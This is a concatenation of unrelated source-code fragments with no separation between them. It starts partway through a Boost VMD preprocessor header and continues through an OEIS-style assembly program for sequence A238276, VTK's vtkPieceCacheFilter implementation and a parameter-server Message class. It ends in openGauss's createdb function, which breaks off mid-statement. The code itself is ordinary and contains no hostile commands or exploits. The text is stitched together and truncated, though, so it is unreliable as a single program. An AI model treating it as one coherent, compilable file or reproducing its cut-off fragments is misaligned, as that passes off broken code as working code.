\ BOOST_PP_IIF \ ( \ BOOST_VMD_DETAIL_EQUAL_TYPE_D \ ( \ d, \ vtype1, \ type \ ), \ BOOST_VMD_IDENTITY(1), \ BOOST_VMD_DETAIL_EQUAL_TEST_TYPE_CHECK_D \ ) \ (d,vseq1,vtype1,type) \ ) \ /**/ #define BOOST_VMD_DETAIL_EQUAL_WT_CHECK(vseq1,vseq2,vtype1,vtype2,type) \ BOOST_VMD_IDENTITY_RESULT \ ( \ BOOST_PP_IIF \ ( \ BOOST_PP_BITAND \ ( \ BOOST_VMD_DETAIL_EQUAL_TYPE \ ( \ vtype1, \ vtype2 \ ), \ BOOST_VMD_IDENTITY_RESULT \ ( \ BOOST_PP_IIF \ ( \ BOOST_VMD_DETAIL_NOT_EMPTY(type), \ BOOST_VMD_DETAIL_EQUAL_TEST_TYPE, \ BOOST_VMD_IDENTITY(1) \ ) \ (vseq1,vtype1,type) \ ) \ ), \ BOOST_VMD_DETAIL_EQUAL_CNI, \ BOOST_VMD_IDENTITY(0) \ ) \ (vseq1,vseq2,vtype1) \ ) \ /**/ #define BOOST_VMD_DETAIL_EQUAL_WT_CHECK_D(d,vseq1,vseq2,vtype1,vtype2,type) \ BOOST_VMD_IDENTITY_RESULT \ ( \ BOOST_PP_IIF \ ( \ BOOST_PP_BITAND \ ( \ BOOST_VMD_DETAIL_EQUAL_TYPE_D \ ( \ d, \ vtype1, \ vtype2 \ ), \ BOOST_VMD_IDENTITY_RESULT \ ( \ BOOST_PP_IIF \ ( \ BOOST_VMD_DETAIL_NOT_EMPTY(type), \ BOOST_VMD_DETAIL_EQUAL_TEST_TYPE_D, \ BOOST_VMD_IDENTITY(1) \ ) \ (d,vseq1,vtype1,type) \ ) \ ), \ BOOST_VMD_DETAIL_EQUAL_CNI_D, \ BOOST_VMD_IDENTITY(0) \ ) \ (d,vseq1,vseq2,vtype1) \ ) \ /**/ #define BOOST_VMD_DETAIL_EQUAL_WT_CONVERT(vseq1,vseq2,vtype1,vtype2,type) \ BOOST_VMD_DETAIL_EQUAL_WT_CHECK \ ( \ vseq1, \ vseq2, \ BOOST_VMD_DETAIL_ADJUST_TUPLE_TYPE(vseq1,vtype1), \ BOOST_VMD_DETAIL_ADJUST_TUPLE_TYPE(vseq2,vtype2), \ type \ ) \ /**/ #define BOOST_VMD_DETAIL_EQUAL_WT_CONVERT_D(d,vseq1,vseq2,vtype1,vtype2,type) \ BOOST_VMD_DETAIL_EQUAL_WT_CHECK_D \ ( \ d, \ vseq1, \ vseq2, \ BOOST_VMD_DETAIL_ADJUST_TUPLE_TYPE_D(d,vseq1,vtype1), \ BOOST_VMD_DETAIL_ADJUST_TUPLE_TYPE_D(d,vseq2,vtype2), \ type \ ) \ /**/ #define BOOST_VMD_DETAIL_EQUAL_WT(vseq1,vseq2,vtype1,vtype2,type) \ BOOST_VMD_IDENTITY_RESULT \ ( \ BOOST_PP_IIF \ ( \ BOOST_VMD_DETAIL_EQUAL_IS_TUPLE_MISMATCH(vseq1,vseq2,vtype1,vtype2), \ BOOST_VMD_IDENTITY(0), \ BOOST_VMD_DETAIL_EQUAL_WT_CONVERT \ ) \ (vseq1,vseq2,vtype1,vtype2,type) \ ) \ /**/ #define BOOST_VMD_DETAIL_EQUAL_WT_D(d,vseq1,vseq2,vtype1,vtype2,type) \ BOOST_VMD_IDENTITY_RESULT \ ( \ BOOST_PP_IIF \ ( \ BOOST_VMD_DETAIL_EQUAL_IS_TUPLE_MISMATCH_D(d,vseq1,vseq2,vtype1,vtype2), \ BOOST_VMD_IDENTITY(0), \ BOOST_VMD_DETAIL_EQUAL_WT_CONVERT_D \ ) \ (d,vseq1,vseq2,vtype1,vtype2,type) \ ) \ /**/ #define BOOST_VMD_DETAIL_EQUAL_GTYPE(vseq1,vseq2,type) \ BOOST_VMD_DETAIL_EQUAL_WT \ ( \ vseq1, \ vseq2, \ BOOST_VMD_GET_TYPE(vseq1,BOOST_VMD_RETURN_TYPE_TUPLE), \ BOOST_VMD_GET_TYPE(vseq2,BOOST_VMD_RETURN_TYPE_TUPLE), \ type \ ) \ /**/ #define BOOST_VMD_DETAIL_EQUAL_GTYPE_D(d,vseq1,vseq2,type) \ BOOST_VMD_DETAIL_EQUAL_WT_D \ ( \ d, \ vseq1, \ vseq2, \ BOOST_VMD_GET_TYPE_D(d,vseq1,BOOST_VMD_RETURN_TYPE_TUPLE), \ BOOST_VMD_GET_TYPE_D(d,vseq2,BOOST_VMD_RETURN_TYPE_TUPLE), \ type \ ) \ /**/ #define BOOST_VMD_DETAIL_EQUAL_EBP(vseq1,vseq2,be1,be2,type) \ BOOST_VMD_IDENTITY_RESULT \ ( \ BOOST_PP_IIF \ ( \ BOOST_PP_BITAND \ ( \ BOOST_VMD_DETAIL_EQUAL_CHK_MATCH(be1,be2), \ BOOST_VMD_DETAIL_EQUAL_CHK_PARENS_MATCH(vseq1,vseq2) \ ), \ BOOST_VMD_DETAIL_EQUAL_GTYPE, \ BOOST_VMD_IDENTITY(0) \ ) \ (vseq1,vseq2,type) \ ) \ /**/ #define BOOST_VMD_DETAIL_EQUAL_EBP_D(d,vseq1,vseq2,be1,be2,type) \ BOOST_VMD_IDENTITY_RESULT \ ( \ BOOST_PP_IIF \ ( \ BOOST_PP_BITAND \ ( \ BOOST_VMD_DETAIL_EQUAL_CHK_MATCH(be1,be2), \ BOOST_VMD_DETAIL_EQUAL_CHK_PARENS_MATCH(vseq1,vseq2) \ ), \ BOOST_VMD_DETAIL_EQUAL_GTYPE_D, \ BOOST_VMD_IDENTITY(0) \ ) \ (d,vseq1,vseq2,type) \ ) \ /**/ #define BOOST_VMD_DETAIL_EQUAL_EMPTY(vseq1,vseq2,be1,be2,type) \ BOOST_PP_IIF \ ( \ BOOST_PP_BITAND(be1,be2), \ BOOST_VMD_DETAIL_EQUAL_BOTH_EMPTY, \ BOOST_VMD_DETAIL_EQUAL_EBP \ ) \ (vseq1,vseq2,be1,be2,type) \ /**/ #define BOOST_VMD_DETAIL_EQUAL_EMPTY_D(d,vseq1,vseq2,be1,be2,type) \ BOOST_PP_IIF \ ( \ BOOST_PP_BITAND(be1,be2), \ BOOST_VMD_DETAIL_EQUAL_BOTH_EMPTY, \ BOOST_VMD_DETAIL_EQUAL_EBP_D \ ) \ (d,vseq1,vseq2,be1,be2,type) \ /**/ #define BOOST_VMD_DETAIL_EQUAL_OV0(vseq1,vseq2) \ BOOST_VMD_DETAIL_EQUAL_EMPTY \ ( \ vseq1, \ , \ BOOST_VMD_IS_EMPTY(vseq1), \ 1, \ ) \ /**/ #define BOOST_VMD_DETAIL_EQUAL_OV1(vseq1,vseq2) \ BOOST_VMD_DETAIL_EQUAL_EMPTY \ ( \ vseq1, \ vseq2, \ BOOST_VMD_IS_EMPTY(vseq1), \ BOOST_VMD_IS_EMPTY(vseq2), \ ) \ /**/ #define BOOST_VMD_DETAIL_EQUAL_OV2(vseq1,vseq2,type) \ BOOST_VMD_DETAIL_EQUAL_EMPTY \ ( \ vseq1, \ vseq2, \ BOOST_VMD_IS_EMPTY(vseq1), \ BOOST_VMD_IS_EMPTY(vseq2), \ type \ ) \ /**/ #define BOOST_VMD_DETAIL_EQUAL_D_OV0(d,vseq1,vseq2) \ BOOST_VMD_DETAIL_EQUAL_EMPTY_D \ ( \ d, \ vseq1, \ , \ BOOST_VMD_IS_EMPTY(vseq1), \ 1, \ ) \ /**/ #define BOOST_VMD_DETAIL_EQUAL_D_OV1(d,vseq1,vseq2) \ BOOST_VMD_DETAIL_EQUAL_EMPTY_D \ ( \ d, \ vseq1, \ vseq2, \ BOOST_VMD_IS_EMPTY(vseq1), \ BOOST_VMD_IS_EMPTY(vseq2), \ ) \ /**/ #define BOOST_VMD_DETAIL_EQUAL_D_OV2(d,vseq1,vseq2,type) \ BOOST_VMD_DETAIL_EQUAL_EMPTY_D \ ( \ d, \ vseq1, \ vseq2, \ BOOST_VMD_IS_EMPTY(vseq1), \ BOOST_VMD_IS_EMPTY(vseq2), \ type \ ) \ /**/ #if BOOST_VMD_MSVC #define BOOST_VMD_DETAIL_EQUAL(vseq1,...) \ BOOST_PP_CAT(BOOST_PP_OVERLOAD(BOOST_VMD_DETAIL_EQUAL_OV,__VA_ARGS__)(vseq1,__VA_ARGS__),BOOST_PP_EMPTY()) \ /**/ #define BOOST_VMD_DETAIL_EQUAL_D(d,vseq1,...) \ BOOST_PP_CAT(BOOST_PP_OVERLOAD(BOOST_VMD_DETAIL_EQUAL_D_OV,__VA_ARGS__)(d,vseq1,__VA_ARGS__),BOOST_PP_EMPTY()) \ /**/ #else #define BOOST_VMD_DETAIL_EQUAL(vseq1,...) \ BOOST_PP_OVERLOAD(BOOST_VMD_DETAIL_EQUAL_OV,__VA_ARGS__)(vseq1,__VA_ARGS__) \ /**/ #define BOOST_VMD_DETAIL_EQUAL_D(d,vseq1,...) \ BOOST_PP_OVERLOAD(BOOST_VMD_DETAIL_EQUAL_D_OV,__VA_ARGS__)(d,vseq1,__VA_ARGS__) \ /**/ #endif #endif /* BOOST_VMD_DETAIL_EQUAL_HPP */
; A238276: a(n) = (9*8^n - 2)/7. ; 1,10,82,658,5266,42130,337042,2696338,21570706,172565650,1380525202,11044201618,88353612946,706828903570,5654631228562,45237049828498,361896398627986,2895171189023890 mov $1,1 lpb $0,1 sub $0,1 mul $1,8 add $1,2 lpe
/*========================================================================= Program: Visualization Toolkit Module: vtkPieceCacheFilter.cxx Copyright (c) Ken Martin, Will Schroeder, Bill Lorensen All rights reserved. See Copyright.txt or http://www.kitware.com/Copyright.htm for details. This software is distributed WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the above copyright notice for more information. =========================================================================*/ #include "vtkPieceCacheFilter.h" #include "vtkObjectFactory.h" #include "vtkAppendPolyData.h" #include "vtkDataSet.h" #include "vtkInformation.h" #include "vtkInformationVector.h" #include "vtkPieceCacheExecutive.h" #include "vtkPolyData.h" #include "vtkStreamingDemandDrivenPipeline.h" #include "vtkAdaptiveOptions.h" #include <vtkstd/vector> vtkStandardNewMacro(vtkPieceCacheFilter); #if 0 #define DEBUGPRINT_CACHING(arg) arg; #define DEBUGPRINT_APPENDING(arg) arg; #else #define DEBUGPRINT_CACHING(arg) \ if (!this->Silenced && vtkAdaptiveOptions::GetEnableStreamMessages())\ { \ arg;\ } #define DEBUGPRINT_APPENDING(arg) \ if (!this->Silenced && vtkAdaptiveOptions::GetEnableStreamMessages())\ { \ arg;\ } #endif //---------------------------------------------------------------------------- vtkPieceCacheFilter::vtkPieceCacheFilter() { this->CacheSize = -1; this->GetInformation()->Set(vtkAlgorithm::PRESERVES_DATASET(), 1); this->Silenced = 0; this->AppendFilter = vtkAppendPolyData::New(); this->AppendFilter->UserManagedInputsOn(); this->AppendResult = NULL; } //---------------------------------------------------------------------------- vtkPieceCacheFilter::~vtkPieceCacheFilter() { this->EmptyCache(); if (this->AppendFilter != NULL) { this->AppendFilter->Delete(); this->AppendFilter = NULL; } if (this->AppendResult != NULL) { this->AppendResult->Delete(); this->AppendResult = NULL; } this->ClearAppendTable(); } //---------------------------------------------------------------------------- void vtkPieceCacheFilter::PrintSelf(ostream& os, vtkIndent indent) { this->Superclass::PrintSelf(os,indent); os << indent << "CacheSize: " << this->CacheSize << endl; } //---------------------------------------------------------------------------- void vtkPieceCacheFilter::SetCacheSize(int size) { this->CacheSize = size; if (this->Cache.size() == static_cast<unsigned long>(size)) { return; } this->EmptyCache(); } //---------------------------------------------------------------------------- void vtkPieceCacheFilter::EmptyCache() { DEBUGPRINT_CACHING( cerr << "PCF(" << this << ") Empty cache" << endl; ); CacheType::iterator pos; for (pos = this->Cache.begin(); pos != this->Cache.end(); ) { pos->second.second->Delete(); this->Cache.erase(pos++); } this->ClearAppendTable(); if (this->AppendResult != NULL) { this->AppendResult->Delete(); this->AppendResult = NULL; } } //---------------------------------------------------------------------------- vtkDataSet * vtkPieceCacheFilter::GetPiece(int pieceNum ) { CacheType::iterator pos = this->Cache.find(pieceNum); if (pos != this->Cache.end()) { return pos->second.second; } return NULL; } //---------------------------------------------------------------------------- void vtkPieceCacheFilter::DeletePiece(int pieceNum ) { DEBUGPRINT_APPENDING( cerr << "PCF(" << this << ") Delete piece " << this->ComputePiece(pieceNum) << "/" << this->ComputeNumberOfPieces(pieceNum); ); CacheType::iterator pos = this->Cache.find(pieceNum); if (pos != this->Cache.end()) { DEBUGPRINT_CACHING( vtkDataSet* ds = pos->second.second; vtkInformation* dataInfo = ds->GetInformation(); double dataResolution = dataInfo->Get( vtkDataObject::DATA_RESOLUTION()); cerr << "@" << dataResolution; ); pos->second.second->Delete(); this->Cache.erase(pos); } DEBUGPRINT_CACHING(cerr << endl;); } //---------------------------------------------------------------------------- int vtkPieceCacheFilter::RequestData( vtkInformation *vtkNotUsed(request), vtkInformationVector **inputVector, vtkInformationVector *outputVector) { //Fetch the data from the cache if possible and pass it on to the output. //Otherwise, save a copy of the input data, and pass it on to the output. vtkInformation *inInfo = inputVector[0]->GetInformationObject(0); vtkDataSet *inData = vtkDataSet::SafeDownCast( inInfo->Get(vtkDataObject::DATA_OBJECT()) ); vtkInformation *outInfo = outputVector->GetInformationObject(0); vtkDataSet *outData = vtkDataSet::SafeDownCast( outInfo->Get(vtkDataObject::DATA_OBJECT()) ); // fill in the request by using the cached data or input data int updatePiece = outInfo->Get( vtkStreamingDemandDrivenPipeline::UPDATE_PIECE_NUMBER()); int updatePieces = outInfo->Get( vtkStreamingDemandDrivenPipeline::UPDATE_NUMBER_OF_PIECES()); int updateGhosts = outInfo->Get( vtkStreamingDemandDrivenPipeline::UPDATE_NUMBER_OF_GHOST_LEVELS()); double updateResolution = outInfo->Get( vtkStreamingDemandDrivenPipeline::UPDATE_RESOLUTION()); DEBUGPRINT_CACHING( cerr << "PCF(" << this << ") Looking for " << updatePiece << "/" << updatePieces << "+" << updateGhosts << "@" << updateResolution << endl; ); int index = this->ComputeIndex(updatePiece, updatePieces); CacheType::iterator pos = this->Cache.find(index); bool found = false; if (pos != this->Cache.end()) { vtkDataSet* ds = pos->second.second; vtkInformation* dataInfo = ds->GetInformation(); int dataPiece = dataInfo->Get( vtkDataObject::DATA_PIECE_NUMBER()); int dataPieces = dataInfo->Get( vtkDataObject::DATA_NUMBER_OF_PIECES()); int dataGhosts = dataInfo->Get( vtkDataObject::DATA_NUMBER_OF_GHOST_LEVELS()); double dataResolution = dataInfo->Get( vtkDataObject::DATA_RESOLUTION()); if (dataPiece == updatePiece && dataPieces == updatePieces && dataGhosts == updateGhosts && dataResolution >= updateResolution) { found = true; DEBUGPRINT_CACHING( cerr << "PCF(" << this << ") found match @ " << dataResolution << endl; ); } else { DEBUGPRINT_CACHING( cerr << "PCF(" << this << ") but found " << dataPiece << "/" << dataPieces << "+" << dataGhosts << "@" << dataResolution << endl; ); } } else { DEBUGPRINT_CACHING( cerr << "PCF(" << this << ") Cache miss for piece " << updatePiece << "/" << updatePieces << "@" << updateResolution << endl; ); } if (found) { DEBUGPRINT_CACHING( cerr << "PCF(" << this << ") Cache hit for piece " << updatePiece << "/" << updatePieces << "@" << updateResolution << endl; ); // update the m time in the cache pos->second.first = outData->GetUpdateTime(); //pass the cached data onward DEBUGPRINT_CACHING( cerr << "PCF(" << this << ") returning cached result" << endl; ); outData->ShallowCopy(pos->second.second); return 1; } //if there is space, store a copy of the data for later reuse if ((this->CacheSize < 0 || this->Cache.size() < static_cast<unsigned long>(this->CacheSize))) { DEBUGPRINT_CACHING( cerr << "PCF(" << this << ") Cache insert of piece " << updatePiece << "/" << updatePieces << "@" << updateResolution << endl; ); vtkDataSet *cpy = inData->NewInstance(); cpy->ShallowCopy(inData); vtkInformation* dataInfo = inData->GetInformation(); vtkInformation* cpyInfo = cpy->GetInformation(); cpyInfo->Copy(dataInfo); this->Cache[index] = vtkstd::pair<unsigned long, vtkDataSet *> (outData->GetUpdateTime(), cpy); } else { DEBUGPRINT_CACHING( cerr << "PCF(" << this << ") Cache full. Piece " << updatePiece << "/" << updatePieces << "@" << updateResolution << " could not be saved" << endl; ); } outData->ShallowCopy(inData); return 1; } //----------------------------------------------------------------------------- bool vtkPieceCacheFilter::InCache(int p, int np, double r) { int index = this->ComputeIndex(p, np); vtkDataSet *ds = this->GetPiece(index); if (ds) { vtkInformation* dataInfo = ds->GetInformation(); double dataResolution = dataInfo->Get(vtkDataObject::DATA_RESOLUTION()); DEBUGPRINT_APPENDING( vtkPolyData *content = vtkPolyData::SafeDownCast(ds); cerr << "PCF(" << this << ") InCache(" << p << "/" << np << "@" << r << "->" << dataResolution << ") " << (dataResolution>=r?"T":"F") << " NPTS=" << (content?content->GetNumberOfPoints():-1)<< endl; ); if (dataResolution >= r) { return true; } } DEBUGPRINT_APPENDING( cerr << "PCF(" << this << ") InCache(" << p << "/" << np << "@" << r << ") " << "F" << endl; ); return false; } //----------------------------------------------------------------------------- bool vtkPieceCacheFilter::InAppend(int p, int np, double r) { int index = this->ComputeIndex(p,np); double dataResolution = -1.0; AppendIndex::iterator pos = this->AppendTable.find(index); if (pos != this->AppendTable.end()) { dataResolution = pos->second; } DEBUGPRINT_APPENDING( cerr << "PCF(" << this << ") InAppend(" << p << "/" << np << "@" << r << "->" << dataResolution << ") " << (dataResolution>=r?"T":"F") << endl; ); return dataResolution >= r; } //----------------------------------------------------------------------------- vtkPolyData *vtkPieceCacheFilter::GetAppendedData() { DEBUGPRINT_APPENDING( cerr << "PCF(" << this << ") GetAppendedData " << this->AppendResult << endl; ); return this->AppendResult; } //----------------------------------------------------------------------------- void vtkPieceCacheFilter::AppendPieces() { DEBUGPRINT_APPENDING( cerr << "PCF(" << this << ") Append " << this->Cache.size() << " Pieces" << endl; ); this->ClearAppendTable(); if (this->AppendResult) { this->AppendResult->Delete(); this->AppendResult = NULL; } if (!this->Cache.size()) { return; } CacheType::iterator pos; vtkIdType cnt = 0; this->AppendFilter->SetNumberOfInputs(this->Cache.size()); for (pos = this->Cache.begin(); pos != this->Cache.end(); ) { vtkPolyData *content = vtkPolyData::SafeDownCast(pos->second.second); if (content) { this->AppendFilter->SetInputByNumber(cnt++, content); //remember that this piece is in the appended result vtkInformation* dataInfo = content->GetInformation(); int dataPiece = dataInfo->Get( vtkDataObject::DATA_PIECE_NUMBER()); int dataPieces = dataInfo->Get( vtkDataObject::DATA_NUMBER_OF_PIECES()); double dataResolution = dataInfo->Get( vtkDataObject::DATA_RESOLUTION()); int index = this->ComputeIndex(dataPiece, dataPieces); this->AppendTable[index] = dataResolution; DEBUGPRINT_APPENDING( cerr << "Appending "<< cnt << " " << dataPiece << "/" << dataPieces << "@" << dataResolution << " " << content->GetNumberOfPoints() << endl; ); } pos++; } this->AppendFilter->SetNumberOfInputs(cnt); this->AppendFilter->Update(); this->AppendResult = vtkPolyData::New(); this->AppendResult->ShallowCopy(this->AppendFilter->GetOutput()); DEBUGPRINT_APPENDING( cerr << "PCF("<<this<<") Appended " << this->AppendResult->GetNumberOfPoints() << " verts" << endl; ); } //---------------------------------------------------------------------------- void vtkPieceCacheFilter::ClearAppendTable() { DEBUGPRINT_APPENDING( cerr << "PCF(" << this << ") ClearAppendTable" << endl; ); //clear appended result content records AppendIndex::iterator pos; for (pos = this->AppendTable.begin(); pos != this->AppendTable.end(); ) { this->AppendTable.erase(pos++); } }
#include "system/message.h" namespace PS { Message::Message(const NodeID& dest, int time, int wait_time) : recver(dest) { task.set_time(time); if (wait_time != kInvalidTime) task.add_wait_time(wait_time); } void Message::miniCopyFrom(const Message& msg) { task = msg.task; task.clear_value_type(); task.clear_has_key(); terminate = msg.terminate; wait = msg.wait; recv_handle = msg.recv_handle; fin_handle = msg.fin_handle; original_recver = msg.original_recver; } FilterConfig* Message::addFilter(FilterConfig::Type type) { auto ptr = task.add_filter(); ptr->set_type(type); return ptr; } std::string Message::shortDebugString() const { std::stringstream ss; if (task.request()) ss << "REQ"; else ss << "RLY"; ss << " T=" << task.time() << " "; for (int i = 0; i < task.wait_time_size(); ++i) { if (i == 0) ss << "(wait"; ss << " " << task.wait_time(i); if (i == task.wait_time_size() - 1) ss << ") "; } ss << sender << "=>" << recver << " "; if (!original_recver.empty()) ss << "(" << original_recver << ") "; ss << "key ["; if (key.size() > 0) ss << key.size(); ss << "] value ["; for (int i = 0; i < value.size(); ++i) { ss << value[i].size(); if (i < value.size() - 1) ss << ","; } auto t = task; t.clear_msg(); ss << "]\n" << t.ShortDebugString(); return ss.str(); } std::string Message::debugString() const { std::stringstream ss; ss << "[message]: " << sender << "=>" << recver << "(" << original_recver << ")\n" << "[task]:" << task.ShortDebugString() << "\n[key]:" << key.size() << "\n[" << value.size() << " value]: "; for (const auto& x: value) ss << x.size() << " "; return ss.str(); } } // namespace PS
/* ------------------------------------------------------------------------- * * dbcommands.cpp * Database management commands (create/drop database). * * Note: database creation/destruction commands use exclusive locks on * the database objects (as expressed by LockSharedObject()) to avoid * stepping on each others' toes. Formerly we used table-level locks * on pg_database, but that's too coarse-grained. * * Portions Copyright (c) 2020 Huawei Technologies Co.,Ltd. * Portions Copyright (c) 1996-2012, PostgreSQL Global Development Group * Portions Copyright (c) 1994, Regents of the University of California * * * IDENTIFICATION * src/gausskernel/optimizer/commands/dbcommands.cpp * * ------------------------------------------------------------------------- */ #include "postgres.h" #include "knl/knl_variable.h" #include <fcntl.h> #include "executor/executor.h" #include "access/genam.h" #include "access/heapam.h" #include "access/tableam.h" #include "access/transam.h" #include "access/xact.h" #include "access/xloginsert.h" #include "access/xlogutils.h" #include "access/multixact.h" #include "catalog/catalog.h" #include "catalog/dependency.h" #include "catalog/indexing.h" #include "catalog/objectaccess.h" #include "catalog/pg_authid.h" #include "catalog/pg_database.h" #include "catalog/pg_db_role_setting.h" #include "catalog/pg_job.h" #include "catalog/pg_proc.h" #include "catalog/pg_tablespace.h" #include "catalog/pg_subscription.h" #include "catalog/pgxc_slice.h" #include "catalog/storage_xlog.h" #include "commands/comment.h" #include "commands/dbcommands.h" #include "commands/tablecmds.h" #include "replication/slot.h" #include "commands/sec_rls_cmds.h" #include "commands/seclabel.h" #include "commands/tablespace.h" #include "mb/pg_wchar.h" #include "miscadmin.h" #include "pgstat.h" #include "postmaster/bgwriter.h" #include "postmaster/rbcleaner.h" #include "rewrite/rewriteRlsPolicy.h" #include "storage/copydir.h" #include "storage/lmgr.h" #include "storage/ipc.h" #include "storage/procarray.h" #include "storage/smgr/smgr.h" #include "utils/acl.h" #include "utils/builtins.h" #include "utils/fmgroids.h" #include "utils/inval.h" #include "utils/memutils.h" #include "utils/pg_locale.h" #include "utils/sec_rls_utils.h" #include "utils/snapmgr.h" #include "utils/syscache.h" #include "access/heapam.h" #include "utils/timestamp.h" #ifdef PGXC #include "pgxc/execRemote.h" #include "pgxc/pgxc.h" #include "access/gtm.h" #include "pgxc/poolutils.h" #include "tcop/utility.h" #endif #include "storage/dfs/dfs_connector.h" #include "storage/smgr/segment.h" typedef struct { Oid src_dboid; /* source (template) DB */ Oid dest_dboid; /* DB we are trying to create */ } createdb_failure_params; typedef struct { Oid dest_dboid; /* DB we are trying to move */ Oid dest_tsoid; /* tablespace we are trying to move to */ #ifdef PGXC Oid src_tsoid; /* tablespace we are trying to move from */ #endif } movedb_failure_params; /* non-export function prototypes */ static void createdb_failure_callback(int code, Datum arg); static void movedb(const char* dbname, const char* tblspcname); static void movedb_failure_callback(int code, Datum arg); static bool get_db_info(const char* name, LOCKMODE lockmode, Oid* dbIdP, Oid* ownerIdP, int* encodingP, bool* dbIsTemplateP, bool* dbAllowConnP, Oid* dbLastSysOidP, TransactionId* dbFrozenXidP, MultiXactId *dbMinMultiP, Oid* dbTablespace, char** dbCollate, char** dbCtype, char** src_compatibility = NULL); static void remove_dbtablespaces(Oid db_id); static bool check_db_file_conflict(Oid db_id); static void createdb_xact_callback(bool isCommit, const void* arg); static void movedb_xact_callback(bool isCommit, const void* arg); static void movedb_success_callback(Oid db_id, Oid tblspcoid); static void AlterDatabasePrivateObject(const Form_pg_database fbform, Oid dbid, bool enablePrivateObject); /* * Check if user is a logic cluster user */ bool userbindlc(Oid rolid) { if (!in_logic_cluster()) return false; bool isNull = true; HeapTuple tup = SearchSysCache1(AUTHOID, rolid); if (!HeapTupleIsValid(tup)) ereport(ERROR, (errcode(ERRCODE_UNDEFINED_OBJECT), errmsg("cache lookup failed for role with oid %u", rolid))); Datum datum = SysCacheGetAttr(AUTHOID, tup, Anum_pg_authid_rolnodegroup, &isNull); if (!isNull) { Oid groupoid = DatumGetObjectId(datum); if (OidIsValid(groupoid)) return true; } ReleaseSysCache(tup); return false; } /* * CREATE DATABASE */ void createdb(const CreatedbStmt* stmt) { TableScanDesc scan; Relation rel; Oid src_dboid; Oid src_owner; int src_encoding; char* src_collate = NULL; char* src_ctype = NULL; char* src_compatibility = NULL; bool src_istemplate = false; bool src_allowconn = false; Oid src_lastsysoid; TransactionId src_frozenxid; MultiXactId src_minmxid; Oid src_deftablespace; volatile Oid dst_deftablespace; Relation pg_database_rel; HeapTuple tuple; Datum new_record[Natts_pg_database]; bool new_record_nulls[Natts_pg_database]; Oid dboid; Oid datdba; ListCell* option = NULL; DefElem* dtablespacename = NULL; DefElem* downer = NULL; DefElem* dtemplate = NULL; DefElem* dencoding = NULL; DefElem* dcollate = NULL; DefElem* dctype = NULL; DefElem* dcompatibility = NULL; DefElem* dconnlimit = NULL; char* dbname = stmt->dbname; char* dbowner = NULL; const char* dbtemplate = NULL; char* dbcollate = NULL; char* dbctype = NULL; char* dbcompatibility = NULL; char* canonname = NULL; int encoding = -1; int dbconnlimit = -1; int notherbackends; int npreparedxacts; createdb_failure_params fparms; Snapshot snapshot; /* Extract options from the statement node tree */ foreach (option, stmt->options) { DefElem* defel = (DefElem*)lfirst(option); if (strcmp(defel->defname, "tablespace") == 0) { if (dtablespacename != NULL) ereport(ERROR, (errcode(ERRCODE_SYNTAX_ERROR), errmsg("conflicting or redundant options"))); dtablespacename = defel; } else if (strcmp(defel->defname, "owner") == 0) { if (downer != NULL) ereport(ERROR, (errcode(ERRCODE_SYNTAX_ERROR), errmsg("conflicting or redundant options"))); downer = defel; } else if (strcmp(defel->defname, "template") == 0) { if (dtemplate != NULL) ereport(ERROR, (errcode(ERRCODE_SYNTAX_ERROR), errmsg("conflicting or redundant options"))); dtemplate = defel; } else if (strcmp(defel->defname, "encoding") == 0) { if (dencoding != NULL) ereport(ERROR, (errcode(ERRCODE_SYNTAX_ERROR), errmsg("conflicting or redundant options"))); dencoding = defel; } else if (strcmp(defel->defname, "lc_collate") == 0) { if (dcollate != NULL) ereport(ERROR, (errcode(ERRCODE_SYNTAX_ERROR), errmsg("conflicting or redundant options"))); dcollate = defel; } else if (strcmp(defel->defname, "lc_ctype") == 0) { if (dctype != NULL) ereport(ERROR, (errcode(ERRCODE_SYNTAX_ERROR), errmsg("conflicting or redundant options"))); dctype = defel; } else if (strcmp(defel->defname, "connectionlimit") == 0) { if (dconnlimit != NULL) ereport(ERROR, (errcode(ERRCODE_SYNTAX_ERROR), errmsg("conflicting or redundant options"))); dconnlimit = defel; } else if (strcmp(defel->defname, "dbcompatibility") == 0) { if (dcompatibility != NULL) ereport(ERROR, (errcode(ERRCODE_SYNTAX_ERROR), errmsg("conflicting or redundant options"))); dcompatibility = defel; } else if (strcmp(defel->defname, "location") == 0) { ereport(ERROR, (errcode(ERRCODE_FEATURE_NOT_SUPPORTED), errmsg("LOCATION is not supported anymore"), errhint("Consider using tablespaces instead."))); } else ereport(ERROR, (errcode(ERRCODE_SYNTAX_ERROR), errmsg("option \"%s\" not recognized", defel->defname))); } if (downer != NULL && downer->arg != NULL) dbowner = strVal(downer->arg); if (dtemplate != NULL && dtemplate->arg != NULL) { dbtemplate = strVal(dtemplate->arg); /* make sure template is from template0 */ if (strcmp(dbtemplate, "template0") != 0) { ereport(ERROR, (errcode(ERRCODE_INVALID_PARAMETER_VALUE), errmsg("%s is not supported for using here, just support template0", dbtemplate))); } } if (dencoding != NULL && dencoding->arg != NULL) { const char* encoding_name = NULL; if (IsA(dencoding->arg, Integer)) { encoding = intVal(dencoding->arg); encoding_name = pg_encoding_to_char(encoding); if (strcmp(encoding_name, "") == 0 || pg_valid_server_encoding(encoding_name) < 0) ereport( ERROR, (errcode(ERRCODE_UNDEFINED_OBJECT), errmsg("%d is not a valid encoding code", encoding))); } else if (IsA(dencoding->arg, String)) { encoding_name = strVal(dencoding->arg); encoding = pg_valid_server_encoding(encoding_name); if (encoding < 0) ereport(ERROR, (errcode(ERRCODE_UNDEFINED_OBJECT), errmsg("%s is not a valid encoding name", encoding_name))); } else ereport(ERROR, (errcode(ERRCODE_UNRECOGNIZED_NODE_TYPE), errmsg("unrecognized node type: %d", nodeTag(dencoding->arg)))); } if (dcollate != NULL && dcollate->arg != NULL) dbcollate = strVal(dcollate->arg); if (dctype != NULL && dctype->arg != NULL) dbctype = strVal(dctype->arg); if (dcompatibility != NULL && dcompatibility->arg != NULL) { dbcompatibility = strVal(dcompatibility->arg); } if (dconnlimit != NULL && dconnlimit->arg != NULL) { dbconnlimit = intVal(dconnlimit->arg); if (dbconnlimit < -1) ereport( ERROR, (errcode(ERRCODE_INVALID_PARAMETER_VALUE), errmsg("invalid connection limit: %d", dbconnlimit))); } /* obtain OID of proposed owner */ if (dbowner != NULL) datdba = get_role_oid(dbowner, false); else datdba = GetUserId(); /* * To create a database, must have createdb privilege and must be able to * become the target role (this does not imply that the target role itself * must have createdb privilege). The latter provision guards against * "giveaway" attacks. Note that a superuser will always have both of * these privileges a fortiori. */ if (!have_createdb_privilege()) ereport(ERROR, (errcode(ERRCODE_INSUFFICIENT_PRIVILEGE), errmsg("permission denied to create 